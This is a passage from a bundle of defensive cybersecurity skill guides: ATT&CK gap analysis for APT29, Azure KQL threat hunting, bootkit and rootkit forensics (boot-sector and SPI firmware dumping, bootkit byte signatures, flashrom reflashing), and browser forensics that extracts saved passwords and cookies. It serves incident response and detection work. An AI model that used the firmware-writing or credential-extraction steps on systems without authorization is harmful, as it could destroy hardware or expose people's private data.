techniques\")\n```\n\n### Step 4: Detection Gap Analysis with Layer Overlay\n\n```python\n# Define your current detection capabilities\ndetected_techniques = {\n    \"T1059\", \"T1059.001\", \"T1071\", \"T1071.001\", \"T1566\", \"T1566.001\",\n    \"T1547\", \"T1547.001\", \"T1053\", \"T1053.005\", \"T1078\", \"T1027\",\n}\n\nactor_techniques = set(technique_map.keys())\ncovered = actor_techniques.intersection(detected_techniques)\ngaps = actor_techniques - detected_techniques\n\nprint(f\"=== Detection Gap Analysis for APT29 ===\")\nprint(f\"Actor techniques: {len(actor_techniques)}\")\nprint(f\"Detected: {len(covered)} ({len(covered)/len(actor_techniques)*100:.0f}%)\")\nprint(f\"Gaps: {len(gaps)} ({len(gaps)/len(actor_techniques)*100:.0f}%)\")\n\n# Create gap layer (red = undetected, green = detected)\ngap_techniques = []\nfor tech_id in actor_techniques:\n    info = technique_map.get(tech_id, {})\n    for tactic in info.get(\"tactics\", [\"\"]):\n        color = \"#66ff66\" if tech_id in detected_techniques else \"#ff3333\"\n        gap_techniques.append({\n            \"techniqueID\": tech_id,\n            \"tactic\": tactic,\n            \"color\": color,\n            \"comment\": f\"{'DETECTED' if tech_id in detected_techniques else 'GAP'}: {info.get('name', '')}\",\n            \"enabled\": True,\n            \"score\": 100 if tech_id in detected_techniques else 0,\n        })\n\ngap_layer = {\n    \"name\": \"APT29 Detection Gap Analysis\",\n    \"versions\": {\"attack\": \"16.1\", \"navigator\": \"5.1.0\", \"layer\": \"4.5\"},\n    \"domain\": \"enterprise-attack\",\n    \"description\": \"Green = detected, Red = gap\",\n    \"techniques\": gap_techniques,\n    \"gradient\": {\"colors\": [\"#ff3333\", \"#66ff66\"], \"minValue\": 0, \"maxValue\": 100},\n    \"legendItems\": [\n        {\"label\": \"Detected\", \"color\": \"#66ff66\"},\n        {\"label\": \"Detection Gap\", \"color\": \"#ff3333\"},\n    ],\n}\nwith open(\"apt29_gap_layer.json\", \"w\") as f:\n    json.dump(gap_layer, f, indent=2)\n```\n\n### Step 5: Tactic Breakdown Analysis\n\n```python\nfrom collections import defaultdict\n\ntactic_breakdown = defaultdict(list)\nfor tech_id, info in technique_map.items():\n    for tactic in info[\"tactics\"]:\n        tactic_breakdown[tactic].append({\"id\": tech_id, \"name\": info[\"name\"]})\n\ntactic_order = [\n    \"reconnaissance\", \"resource-development\", \"initial-access\",\n    \"execution\", \"persistence\", \"privilege-escalation\",\n    \"defense-evasion\", \"credential-access\", \"discovery\",\n    \"lateral-movement\", \"collection\", \"command-and-control\",\n    \"exfiltration\", \"impact\",\n]\n\nprint(\"\\n=== APT29 Tactic Breakdown ===\")\nfor tactic in tactic_order:\n    techs = tactic_breakdown.get(tactic, [])\n    if techs:\n        print(f\"\\n{tactic.upper()} ({len(techs)} techniques):\")\n        for t in techs:\n            print(f\"  {t['id']}: {t['name']}\")\n```\n\n## Validation Criteria\n\n- ATT&CK data queried successfully via TAXII server\n- APT group mapped to all documented techniques with procedure examples\n- Navigator layer JSON validates and renders correctly in ATT&CK Navigator\n- Multi-layer overlay shows threat actor vs. detection coverage\n- Detection gap analysis identifies unmonitored techniques with data source recommendations\n- Cross-group comparison reveals shared and unique TTPs\n- Output is actionable for detection engineering prioritization\n\n## References\n\n- [MITRE ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/)\n- [ATT&CK Groups](https://attack.mitre.org/groups/)\n- [attackcti Python Library](https://github.com/OTRF/ATTACK-Python-Client)\n- [Navigator Layer Format v4.5](https://github.com/mitre-attack/attack-navigator/blob/master/layers/LAYERFORMATv4_5.md)\n- [CISA Best Practices for MITRE ATT&CK Mapping](https://www.cisa.gov/sites/default/files/2023-01/Best%20Practices%20for%20MITRE%20ATTCK%20Mapping.pdf)\n- [Picus: Leverage MITRE ATT&CK for Threat Intelligence](https://www.picussecurity.com/how-to-leverage-the-mitre-attack-framework-for-threat-intelligence)\n","skills/analyzing-apt-group-with-mitre-navigator/references/api-reference.md":"# API Reference: MITRE ATT&CK Navigator APT Analysis\n\n## ATT&CK Navigator Layer Format\n\n### Layer JSON Structure\n```json\n{\n  \"name\": \"APT29 - TTPs\",\n  \"versions\": {\"attack\": \"14\", \"navigator\": \"4.9.1\", \"layer\": \"4.5\"},\n  \"domain\": \"enterprise-attack\",\n  \"techniques\": [\n    {\n      \"techniqueID\": \"T1566.001\",\n      \"tactic\": \"initial-access\",\n      \"color\": \"#ff6666\",\n      \"score\": 100,\n      \"comment\": \"Used by APT29\",\n      \"enabled\": true\n    }\n  ],\n  \"gradient\": {\"colors\": [\"#ffffff\", \"#ff6666\"], \"minValue\": 0, \"maxValue\": 100}\n}\n```\n\n## ATT&CK STIX Data Access\n\n### Download Enterprise ATT&CK Bundle\n```bash\ncurl -o enterprise-attack.json \\\n  https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json\n```\n\n### STIX Object Types\n| Type | Description |\n|------|-------------|\n| `intrusion-set` | APT groups / threat actors |\n| `attack-pattern` | Techniques and sub-techniques |\n| `relationship` | Links groups to techniques (`uses`) |\n| `malware` | Malware families |\n| `tool` | Legitimate tools used by adversaries |\n\n## mitreattack-python Library\n\n### Installation\n```bash\npip install mitreattack-python\n```\n\n### Query Group Techniques\n```python\nfrom mitreattack.stix20 import MitreAttackData\n\nattack = MitreAttackData(\"enterprise-attack.json\")\ngroups = attack.get_groups()\nfor g in groups:\n    techs = attack.get_techniques_used_by_group(g)\n    print(f\"{g.name}: {len(techs)} techniques\")\n```\n\n### Get Technique Details\n```python\ntechnique = attack.get_object_by_attack_id(\"T1566.001\", \"attack-pattern\")\nprint(technique.name)          # Spearphishing Attachment\nprint(technique.x_mitre_platforms)  # ['Windows', 'macOS', 'Linux']\n```\n\n## Navigator CLI (attack-navigator)\n\n### Export Layer to SVG\n```bash\nnpx attack-navigator-export \\\n  --layer layer.json \\\n  --output output.svg \\\n  --theme dark\n```\n\n## ATT&CK API (TAXII)\n```python\nfrom stix2 import TAXIICollectionSource, Filter\nfrom taxii2client.v20 import Collection\n\ncollection = Collection(\n    \"https://cti-taxii.mitre.org/stix/collections/95ecc380-afe9-11e4-9b6c-751b66dd541e/\"\n)\ntc_source = TAXIICollectionSource(collection)\ngroups = tc_source.query([Filter(\"type\", \"=\", \"intrusion-set\")])\n```\n\n## Key APT Groups Reference\n| ID | Name | Known Aliases |\n|----|------|--------------|\n| G0016 | APT29 | Cozy Bear, The Dukes, NOBELIUM |\n| G0007 | APT28 | Fancy Bear, Sofacy, Strontium |\n| G0022 | APT3 | Gothic Panda, UPS |\n| G0032 | Lazarus Group | HIDDEN COBRA, Zinc |\n| G0074 | Dragonfly 2.0 | Energetic Bear, Berserk Bear |\n| G0010 | Turla | Waterbug, Venomous Bear |\n","skills/analyzing-azure-activity-logs-for-threats/SKILL.md":"---\nname: analyzing-azure-activity-logs-for-threats\ndescription: 'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query\n  to detect suspicious administrative operations, impossible travel, privilege escalation,\n  and resource modifications. Builds KQL queries for threat hunting in Azure environments.\n  Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.\n\n  '\ndomain: cybersecurity\nsubdomain: security-operations\ntags:\n- azure\n- cloud-security\n- azure-monitor\n- kql\n- threat-hunting\n- activity-logs\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\n- RS.MA-01\n- GV.OV-01\n- DE.AE-02\nmitre_attack:\n- T1078.004\n- T1098.003\n- T1538\n- T1556.009\n- T1580\n---\n\n# Analyzing Azure Activity Logs for Threats\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing azure activity logs for threats\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with security operations concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\nUse azure-monitor-query to execute KQL queries against Azure Log Analytics workspaces,\ndetecting suspicious admin operations and sign-in anomalies.\n\n```python\nfrom azure.identity import DefaultAzureCredential\nfrom azure.monitor.query import LogsQueryClient\nfrom datetime import timedelta\n\ncredential = DefaultAzureCredential()\nclient = LogsQueryClient(credential)\n\nresponse = client.query_workspace(\n    workspace_id=\"WORKSPACE_ID\",\n    query=\"AzureActivity | where OperationNameValue has 'MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE' | take 10\",\n    timespan=timedelta(hours=24),\n)\n```\n\nKey detection queries:\n1. Role assignment changes (privilege escalation)\n2. Resource group and subscription modifications\n3. Key vault secret access from new IPs\n4. Network security group rule changes\n5. Conditional access policy modifications\n\n## Examples\n\n```python\n# Detect new Global Admin role assignments\nquery = '''\nAuditLogs\n| where OperationName == \"Add member to role\"\n| where TargetResources[0].modifiedProperties[0].newValue has \"Global Administrator\"\n'''\n```\n","skills/analyzing-azure-activity-logs-for-threats/references/api-reference.md":"# API Reference: Analyzing Azure Activity Logs for Threats\n\n## azure-monitor-query\n\n```python\nfrom azure.identity import DefaultAzureCredential\nfrom azure.monitor.query import LogsQueryClient, LogsQueryStatus\nfrom datetime import timedelta\n\ncredential = DefaultAzureCredential()\nclient = LogsQueryClient(credential)\n\nresponse = client.query_workspace(\n    workspace_id=\"WORKSPACE_ID\",\n    query=\"AzureActivity | take 10\",\n    timespan=timedelta(hours=24),\n)\nif response.status == LogsQueryStatus.SUCCESS:\n    for table in response.tables:\n        columns = [col.name for col in table.columns]\n        for row in table.rows:\n            print(dict(zip(columns, row)))\n```\n\n## Key Azure Log Tables\n\n| Table | Content |\n|-------|---------|\n| `AzureActivity` | Control plane operations (ARM) |\n| `SigninLogs` | Azure AD sign-in events |\n| `AuditLogs` | Azure AD audit trail |\n| `AzureDiagnostics` | Resource diagnostics (Key Vault, NSG) |\n| `SecurityAlert` | Defender for Cloud alerts |\n\n## Threat Detection KQL Patterns\n\n```kql\n// Privilege escalation\nAzureActivity | where OperationNameValue has \"ROLEASSIGNMENTS/WRITE\"\n\n// Impossible travel\nSigninLogs | where ResultType == 0\n| extend Distance = geo_distance_2points(...)\n\n// Mass deletion\nAzureActivity | where OperationNameValue endswith \"/DELETE\"\n| summarize count() by Caller, bin(TimeGenerated, 1h)\n```\n\n### References\n\n- azure-monitor-query: https://pypi.org/project/azure-monitor-query/\n- KQL reference: https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/\n- Azure Activity Log schema: https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/activity-log-schema\n","skills/analyzing-bootkit-and-rootkit-samples/SKILL.md":"---\nname: analyzing-bootkit-and-rootkit-samples\ndescription: 'Analyzes bootkit and advanced rootkit malware infecting the Master\n  Boot Record (MBR), Volume Boot Record (VBR), or UEFI firmware for below-OS persistence,\n  covering boot sector analysis, UEFI module inspection, and anti-rootkit detection.\n  Use when compromise survives OS reinstallation or antivirus/EDR fails to detect\n  malware despite clear infection signs.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- bootkit\n- rootkit\n- UEFI\n- MBR-analysis\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1542.003\n- T1542.001\n- T1542.002\n- T1014\n- T1547.006\n---\n\n# Analyzing Bootkit and Rootkit Samples\n\n## When to Use\n\n- A system shows signs of compromise that persist through OS reinstallation\n- Antivirus and EDR are unable to detect malware despite clear evidence of compromise\n- UEFI Secure Boot has been disabled or shows integrity violations\n- Memory forensics reveals rootkit behavior (hidden processes, hooked system calls)\n- Investigating nation-state level threats known to deploy bootkits (APT28, APT41, Equation Group)\n\n**Do not use** for standard user-mode malware; bootkits and rootkits operate at a fundamentally different level requiring specialized analysis techniques.\n\n## Prerequisites\n\n- Disk imaging tools (dd, FTK Imager) for acquiring MBR/VBR sectors\n- UEFITool for UEFI firmware volume analysis and module extraction\n- chipsec for hardware-level firmware security assessment\n- Ghidra with x86 real-mode and 16-bit support for MBR code analysis\n- Volatility 3 for kernel-level rootkit artifact detection\n- Bootable Linux live USB for offline system analysis\n\n## Workflow\n\n### Step 1: Acquire Boot Sectors and Firmware\n\nExtract MBR, VBR, and UEFI firmware for offline analysis:\n\n```bash\n# Acquire MBR (first 512 bytes of disk)\ndd if=/dev/sda of=mbr.bin bs=512 count=1\n\n# Acquire first track (usually contains bootkit code beyond MBR)\ndd if=/dev/sda of=first_track.bin bs=512 count=63\n\n# Acquire VBR (Volume Boot Record - first sector of partition)\ndd if=/dev/sda1 of=vbr.bin bs=512 count=1\n\n# Acquire UEFI System Partition\nmkdir /mnt/efi\nmount /dev/sda1 /mnt/efi\ncp -r /mnt/efi/EFI /analysis/efi_backup/\n\n# Dump UEFI firmware (requires chipsec or flashrom)\n# Using chipsec:\npython chipsec_util.py spi dump firmware.rom\n\n# Using flashrom:\nflashrom -p internal -r firmware.rom\n\n# Verify firmware dump integrity\nsha256sum firmware.rom\n```\n\n### Step 2: Analyze MBR/VBR for Bootkit Code\n\nExamine boot sector code for malicious modifications:\n\n```bash\n# Disassemble MBR code (16-bit real mode)\nndisasm -b16 mbr.bin > mbr_disasm.txt\n\n# Compare MBR with known-good Windows MBR\n# Standard Windows MBR begins with: EB 5A 90 (JMP 0x5C, NOP)\n# Standard Windows 10 MBR: 33 C0 8E D0 BC 00 7C (XOR AX,AX; MOV SS,AX; MOV SP,7C00h)\n\npython3 << 'PYEOF'\nwith open(\"mbr.bin\", \"rb\") as f:\n    mbr = f.read()\n\n# Check MBR signature (bytes 510-511 should be 0x55AA)\nif mbr[510:512] == b'\\x55\\xAA':\n    print(\"[*] Valid MBR signature (0x55AA)\")\nelse:\n    print(\"[!] Invalid MBR signature\")\n\n# Check for known bootkit signatures\nbootkit_sigs = {\n    b'\\xE8\\x00\\x00\\x5E\\x81\\xEE': \"TDL4/Alureon bootkit\",\n    b'\\xFA\\x33\\xC0\\x8E\\xD0\\xBC\\x00\\x7C\\x8B\\xF4\\x50\\x07': \"Standard Windows MBR (clean)\",\n    b'\\xEB\\x5A\\x90\\x4E\\x54\\x46\\x53': \"Standard NTFS VBR (clean)\",\n}\n\nfor sig, name in bootkit_sigs.items():\n    if sig in mbr:\n        print(f\"[{'!' if 'clean' not in name else '*'}] Signature match: {name}\")\n\n# Check partition table entries\nprint(\"\\nPartition Table:\")\nfor i in range(4):\n    offset = 446 + (i * 16)\n    entry = mbr[offset:offset+16]\n    if entry != b'\\x00' * 16:\n        boot_flag = \"Active\" if entry[0] == 0x80 else \"Inactive\"\n        part_type = entry[4]\n        start_lba = int.from_bytes(entry[8:12], 'little')\n        size_lba = int.from_bytes(entry[12:16], 'little')\n        print(f\"  Partition {i+1}: Type=0x{part_type:02X} {boot_flag} Start=LBA {start_lba} Size={size_lba} sectors\")\nPYEOF\n```\n\n### Step 3: Analyze UEFI Firmware for Implants\n\nInspect UEFI firmware volumes for unauthorized modules:\n\n```bash\n# Extract UEFI firmware components with UEFITool\n# GUI: Open firmware.rom -> Inspect firmware volumes\n# CLI:\nUEFIExtract firmware.rom all\n\n# List all DXE drivers (most common target for UEFI implants)\nfind firmware.rom.dump -name \"*.efi\" -exec file {} \\;\n\n# Compare against known-good firmware module list\n# Each UEFI module has a GUID - compare against vendor baseline\n\n# Verify Secure Boot configuration\npython chipsec_main.py -m common.secureboot.variables\n\n# Check SPI flash write protection\npython chipsec_main.py -m common.bios_wp\n\n# Check for known UEFI malware patterns\nyara -r uefi_malware.yar firmware.rom\n```\n\n```\nKnown UEFI Bootkit Detection Points:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nLoJax (APT28):\n  - Modified SPI flash\n  - Added DXE driver that drops agent to Windows\n  - Persists through OS reinstall and disk replacement\n\nBlackLotus:\n  - Exploits CVE-2022-21894 to bypass Secure Boot\n  - Modifies EFI System Partition bootloader\n  - Installs kernel driver during boot\n\nCosmicStrand:\n  - Modifies CORE_DXE firmware module\n  - Hooks kernel initialization during boot\n  - Drops shellcode into Windows kernel memory\n\nMoonBounce:\n  - SPI flash implant in CORE_DXE module\n  - Modified GetVariable() function\n  - Deploys user-mode implant through boot chain\n\nESPecter:\n  - Modifies Windows Boot Manager on ESP\n  - Patches winload.efi to disable DSE\n  - Loads unsigned kernel driver\n```\n\n### Step 4: Detect Kernel-Level Rootkit Behavior\n\nAnalyze the running system for rootkit artifacts:\n\n```bash\n# Memory forensics for rootkit detection\n# SSDT hook detection\nvol3 -f memory.dmp windows.ssdt | grep -v \"ntoskrnl\\|win32k\"\n\n# Hidden processes (DKOM)\nvol3 -f memory.dmp windows.psscan > psscan.txt\nvol3 -f memory.dmp windows.pslist > pslist.txt\n# Diff to find hidden processes\n\n# Kernel callback registration (rootkits register callbacks for filtering)\nvol3 -f memory.dmp windows.callbacks\n\n# Driver analysis\nvol3 -f memory.dmp windows.driverscan\nvol3 -f memory.dmp windows.modules\n\n# Check for unsigned drivers\nvol3 -f memory.dmp windows.driverscan | while read line; do\n    driver_path=$(echo \"$line\" | awk '{print $NF}')\n    if [ -f \"$driver_path\" ]; then\n        sigcheck -nobanner \"$driver_path\" 2>/dev/null | grep \"Unsigned\"\n    fi\ndone\n\n# IDT hook detection\nvol3 -f memory.dmp windows.idt\n```\n\n### Step 5: Boot Process Integrity Verification\n\nVerify the integrity of the entire boot chain:\n\n```bash\n# Verify Windows Boot Manager signature\nsigcheck -a C:\\Windows\\Boot\\EFI\\bootmgfw.efi\n\n# Verify winload.efi\nsigcheck -a C:\\Windows\\System32\\winload.efi\n\n# Verify ntoskrnl.exe\nsigcheck -a C:\\Windows\\System32\\ntoskrnl.exe\n\n# Check Measured Boot logs (if TPM is available)\n# Windows: BCDEdit /enum firmware\nbcdedit /enum firmware\n\n# Verify Secure Boot state\nConfirm-SecureBootUEFI  # PowerShell cmdlet\n\n# Check boot configuration for tampering\nbcdedit /v\n\n# Look for boot configuration changes\n# testsigning: should be No\n# nointegritychecks: should be No\n# debug: should be No\nbcdedit | findstr /i \"testsigning nointegritychecks debug\"\n```\n\n### Step 6: Document Bootkit/Rootkit Analysis\n\nCompile comprehensive analysis findings:\n\n```\nAnalysis should document:\n- Boot sector (MBR/VBR) integrity status with hex comparison\n- UEFI firmware module inventory and integrity verification\n- Secure Boot status and any bypass mechanisms detected\n- Kernel-level hooks (SSDT, IDT, IRP, inline) identified\n- Hidden processes, drivers, and files discovered\n- Persistence mechanism (SPI flash, ESP, MBR, kernel driver)\n- Boot chain integrity verification results\n- Attribution to known bootkit families if possible\n- Remediation steps (reflash firmware, rebuild MBR, replace hardware)\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Bootkit** | Malware that infects the boot process (MBR, VBR, UEFI) to execute before the operating system loads, gaining persistent low-level control |\n| **MBR (Master Boot Record)** | First 512 bytes of a disk containing bootstrap code and partition table; MBR bootkits replace this code with malicious loaders |\n| **UEFI (Unified Extensible Firmware Interface)** | Modern firmware interface replacing BIOS; UEFI bootkits implant malicious modules in firmware volumes or modify the ESP |\n| **Secure Boot** | UEFI security feature verifying digital signatures of boot components; bootkits like BlackLotus exploit vulnerabilities to bypass it |\n| **SPI Flash** | Flash memory chip storing UEFI firmware; advanced bootkits like LoJax and MoonBounce modify SPI flash for firmware-level persistence |\n| **DKOM (Direct Kernel Object Manipulation)** | Rootkit technique modifying kernel structures to hide processes, files, and network connections without hooking functions |\n| **Driver Signature Enforcement (DSE)** | Windows security feature requiring kernel drivers to be digitally signed; bootkits disable DSE during boot to load unsigned rootkit drivers |\n\n## Tools & Systems\n\n- **UEFITool**: Open-source UEFI firmware image editor and parser for inspecting firmware volumes, drivers, and modules\n- **chipsec**: Intel hardware security assessment framework for verifying SPI flash protection, Secure Boot, and UEFI configuration\n- **Volatility**: Memory forensics framework with SSDT, IDT, callback, and driver analysis plugins for kernel rootkit detection\n- **GMER**: Windows rootkit detection tool scanning for SSDT hooks, IDT hooks, hidden processes, and modified kernel modules\n- **Bootkits Analyzer**: Specialized tool for analyzing MBR/VBR code including disassembly and comparison against known-good baselines\n\n## Common Scenarios\n\n### Scenario: Investigating Persistent Compromise Surviving OS Reinstallation\n\n**Context**: An organization reimaged a compromised workstation, but the same C2 beaconing resumed within hours. Standard disk forensics finds no malware. UEFI bootkit is suspected.\n\n**Approach**:\n1. Boot from a Linux live USB to avoid executing any compromised OS components\n2. Dump the SPI flash firmware using chipsec or flashrom for offline analysis\n3. Dump the MBR and VBR sectors with dd for boot sector analysis\n4. Copy the EFI System Partition for bootloader integrity verification\n5. Open the SPI dump in UEFITool and compare module GUIDs against vendor-provided firmware\n6. Look for additional or modified DXE drivers that should not be present\n7. Analyze any suspicious modules with Ghidra (x86_64 UEFI module format)\n8. Verify Secure Boot configuration and check for exploit-based bypasses\n\n**Pitfalls**:\n- Analyzing the system while the compromised OS is running (rootkit may hide from live analysis)\n- Not checking SPI flash (only analyzing disk-based boot components misses firmware-level implants)\n- Assuming Secure Boot prevents all bootkits (known bypasses exist, e.g., CVE-2022-21894)\n- Not preserving the original firmware dump before reflashing (critical evidence for attribution)\n\n## Output Format\n\n```\nBOOTKIT / ROOTKIT ANALYSIS REPORT\n====================================\nSystem:           Dell OptiPlex 7090 (UEFI, TPM 2.0)\nFirmware Version: 1.15.0 (Dell)\nSecure Boot:      ENABLED (but bypassed)\nCapture Method:   Linux Live USB + chipsec SPI dump\n\nMBR/VBR ANALYSIS\nMBR Signature:    Valid (0x55AA)\nMBR Code:         MATCHES standard Windows 10 MBR (clean)\nVBR Code:         MATCHES standard NTFS VBR (clean)\n\nUEFI FIRMWARE ANALYSIS\nTotal Modules:    287\nVendor Expected:  285\nExtra Modules:    2 UNAUTHORIZED\n  [!] DXE Driver GUID: {ABCD1234-...} \"SmmAccessDxe_mod\" (MODIFIED)\n      Original Size: 12,288 bytes\n      Current Size:  45,056 bytes (32KB ADDED)\n      Entropy: 7.82 (HIGH - encrypted payload)\n\n  [!] DXE Driver GUID: {EFGH5678-...} \"UefiPayloadDxe\" (NEW - not in vendor firmware)\n      Size: 28,672 bytes\n      Function: Drops persistence agent during boot\n\nBOOT CHAIN INTEGRITY\nbootmgfw.efi:     MODIFIED (hash mismatch, Secure Boot bypass via CVE-2022-21894)\nwinload.efi:      MODIFIED (DSE disabled at load time)\nntoskrnl.exe:     CLEAN (but unsigned driver loaded after boot)\n\nKERNEL ROOTKIT COMPONENTS\nDriver:           C:\\Windows\\System32\\drivers\\null_mod.sys (unsigned, hidden)\nSSDT Hooks:       3 (NtQuerySystemInformation, NtQueryDirectoryFile, NtDeviceIoControlFile)\nHidden Processes: 2 (PID 6784: beacon.exe, PID 6812: keylog.exe)\nHidden Files:     C:\\Windows\\System32\\drivers\\null_mod.sys\n\nATTRIBUTION\nFamily:           BlackLotus variant\nConfidence:       HIGH (CVE-2022-21894 exploit, ESP modification pattern matches)\n\nREMEDIATION\n1. Reflash SPI firmware with clean vendor image via hardware programmer\n2. Rebuild EFI System Partition from clean Windows installation media\n3. Reinstall OS from verified media\n4. Enable all firmware write protections\n5. Update firmware to latest version (patches CVE-2022-21894)\n```\n","skills/analyzing-bootkit-and-rootkit-samples/references/api-reference.md":"# API Reference: Bootkit and Rootkit Analysis Tools\n\n## dd - Boot Sector Extraction\n\n### Syntax\n```bash\ndd if=/dev/sda of=mbr.bin bs=512 count=1          # MBR\ndd if=/dev/sda of=first_track.bin bs=512 count=63  # First track\ndd if=/dev/sda1 of=vbr.bin bs=512 count=1          # VBR\n```\n\n## ndisasm - 16-bit Disassembly\n\n### Syntax\n```bash\nndisasm -b16 mbr.bin > mbr_disasm.txt\nndisasm -b16 -o 0x7C00 mbr.bin   # Set origin to MBR load address\n```\n\n### Key Flags\n| Flag | Description |\n|------|-------------|\n| `-b16` | 16-bit real-mode disassembly |\n| `-b32` | 32-bit protected-mode |\n| `-o` | Origin address offset |\n\n## UEFITool - Firmware Analysis\n\n### CLI Syntax\n```bash\nUEFIExtract firmware.rom all             # Extract all modules\nUEFIExtract firmware.rom <GUID> body     # Extract specific module body\n```\n\n### Output\nExtracts firmware volumes into a directory tree with each DXE driver, PEI module, and option ROM as separate files identified by GUID.\n\n## chipsec - Hardware Security Assessment\n\n### Syntax\n```bash\npython chipsec_main.py -m common.secureboot.variables  # Check Secure Boot\npython chipsec_main.py -m common.bios_wp               # SPI write protection\npython chipsec_main.py -m common.spi_lock               # SPI lock status\npython chipsec_util.py spi dump firmware.rom            # Dump SPI flash\n```\n\n### Key Modules\n| Module | Purpose |\n|--------|---------|\n| `common.secureboot.variables` | Verify Secure Boot configuration |\n| `common.bios_wp` | Check BIOS write protection |\n| `common.spi_lock` | Verify SPI flash lock bits |\n| `common.smm` | SMM protection verification |\n\n## Volatility 3 - Rootkit Detection Plugins\n\n### Syntax\n```bash\nvol3 -f memory.dmp <plugin>\n```\n\n### Rootkit Detection Plugins\n| Plugin | Purpose |\n|--------|---------|\n| `windows.ssdt` | System Service Descriptor Table hooks |\n| `windows.callbacks` | Kernel callback registrations |\n| `windows.driverscan` | Scan for driver objects |\n| `windows.modules` | List loaded kernel modules |\n| `windows.psscan` | Pool-tag scan for processes (finds hidden) |\n| `windows.pslist` | Active process list (DKOM-affected) |\n| `windows.idt` | Interrupt Descriptor Table hooks |\n\n### Output Format\n```\nOffset  Order  Module         Section  Owner\n------- -----  ------         -------  -----\n0x...   0      ntoskrnl.exe   .text    ntoskrnl.exe\n0x...   73     UNKNOWN        -        rootkit.sys   ← suspicious\n```\n\n## flashrom - SPI Flash Dumping\n\n### Syntax\n```bash\nflashrom -p internal -r firmware.rom     # Read/dump\nflashrom -p internal -w clean.rom        # Write/reflash\nflashrom -p internal --verify clean.rom  # Verify flash contents\n```\n\n## YARA - Firmware Pattern Scanning\n\n### Syntax\n```bash\nyara -r uefi_malware.yar firmware.rom\nyara -s -r rules.yar firmware.rom   # Show matching strings\n```\n","skills/analyzing-browser-forensics-with-hindsight/SKILL.md":"---\nname: analyzing-browser-forensics-with-hindsight\ndescription: Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.\ndomain: cybersecurity\nsubdomain: digital-forensics\ntags:\n- browser-forensics\n- hindsight\n- chrome-forensics\n- chromium\n- edge\n- browsing-history\n- cookies\n- downloads\n- cache\n- web-artifacts\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- RS.AN-03\n- DE.AE-02\n- RS.MA-01\nmitre_attack:\n- T1217\n- T1539\n- T1555.003\n- T1185\n---\n\n# Analyzing Browser Forensics with Hindsight\n\n## Overview\n\nHindsight is an open-source browser forensics tool designed to parse artifacts from Google Chrome and other Chromium-based browsers (Microsoft Edge, Brave, Opera, Vivaldi). It extracts and correlates data from multiple browser database files to create a unified timeline of web activity. Hindsight can parse URLs, download history, cache records, bookmarks, autofill records, saved passwords, preferences, browser extensions, HTTP cookies, Local Storage (HTML5 cookies), login data, and session/tab information. The tool produces chronological timelines in multiple output formats (XLSX, JSON, SQLite) that enable investigators to reconstruct user web activity for incident response, insider threat investigations, and criminal cases.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing browser forensics with hindsight\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.8+ with Hindsight installed (`pip install pyhindsight`)\n- Access to browser profile directories from forensic image\n- Browser profile data (not encrypted with OS-level encryption)\n- Timeline Explorer or spreadsheet application for analysis\n\n## Browser Profile Locations\n\n| Browser | Windows Profile Path |\n|---------|---------------------|\n| Chrome | %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\ |\n| Edge | %LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\ |\n| Brave | %LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\ |\n| Opera | %APPDATA%\\Opera Software\\Opera Stable\\ |\n| Vivaldi | %LOCALAPPDATA%\\Vivaldi\\User Data\\Default\\ |\n| Chrome (macOS) | ~/Library/Application Support/Google/Chrome/Default/ |\n| Chrome (Linux) | ~/.config/google-chrome/Default/ |\n\n## Key Artifact Files\n\n| File | Contents |\n|------|----------|\n| History | URL visits, downloads, keyword searches |\n| Cookies | HTTP cookies with domain, expiry, values |\n| Web Data | Autofill entries, saved credit cards |\n| Login Data | Saved usernames/passwords (encrypted) |\n| Bookmarks | JSON bookmark tree |\n| Preferences | Browser configuration and extensions |\n| Local Storage/ | HTML5 Local Storage per domain |\n| Session Storage/ | Session-specific storage per domain |\n| Network Action Predictor | Previously typed URLs |\n| Shortcuts | Omnibox shortcuts and predictions |\n| Top Sites | Frequently visited sites |\n\n## Running Hindsight\n\n### Command Line\n\n```bash\n# Basic analysis of a Chrome profile\nhindsight.exe -i \"C:\\Evidence\\Users\\suspect\\AppData\\Local\\Google\\Chrome\\User Data\\Default\" -o C:\\Output\\chrome_analysis\n\n# Specify browser type\nhindsight.exe -i \"/path/to/profile\" -o /output/analysis -b Chrome\n\n# JSON output format\nhindsight.exe -i \"C:\\Evidence\\Chrome\\Default\" -o C:\\Output\\chrome --format jsonl\n\n# With cache parsing (slower but more complete)\nhindsight.exe -i \"C:\\Evidence\\Chrome\\Default\" -o C:\\Output\\chrome --cache\n```\n\n### Web UI\n\n```bash\n# Start Hindsight web interface\nhindsight_gui.exe\n# Navigate to http://localhost:8080\n# Upload or point to browser 